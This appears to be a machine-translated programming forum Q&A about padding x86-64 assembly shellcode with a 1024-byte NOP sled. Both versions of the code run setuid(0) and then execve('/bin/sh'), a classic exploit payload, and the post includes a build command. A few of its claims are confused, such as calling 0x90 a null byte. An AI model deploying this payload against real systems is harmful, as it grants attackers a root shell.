assembly 在我的汇编 shell 代码中使用nop sled跳过0x800,

gfttwv5a  于 2023-05-29  发布在  Shell
关注(0)|答案(1)|浏览(116)

我在汇编中有premitive shell代码:

.global _start

_start: 
.intel_syntax noprefix
        nop -------> i wanna fill the memory with null bytes 0x90 , in size of 0x800
    mov rax, 0x69       ; setuid 
    mov rdi, 0
    syscall 
    
    mov rax, 0x3b       ; execve
    lea rdi, [rip+filename]
    mov rsi, 0
    mov rdx, 0
    syscall 

filename:
    .string "/bin/sh"

如何用空字节0x 90填充内存,大小为0x 800(nop * 400 //假设nop为2字节)

3phpmpom

3phpmpom1#

谢谢大家,经过长时间的搜索“花了这么长时间,我希望他们把一些代码的例子,他们说话像我是一个Maven,但这是我的第一个汇编代码XD”根据答案“这是伟大的,但没有任何演示”我的最终shellcode看起来像这样

.global _start
_start:
.intel_syntax noprefix
.rept   1024           ; 1024 repeat time------> thats exactly what i want
.nop                   ; the instruction to repeated 1024 time
.endr                  ; let say its the end of repeat loop 
    mov rax, 0x69       ; setuid 
    mov rdi, 0
    syscall 
    
    mov rax, 0x3b       ; execve
    lea rdi, [rip+filename]
    mov rsi, 0
    mov rdx, 0
    syscall 

filename:
    .string "/bin/sh"

用gcc编译后

gcc -nostdlib -static shellcode.s -o shellcode

让我们检查一下objdump -M intell -D shellcode看看我到底想知道什么

相关问题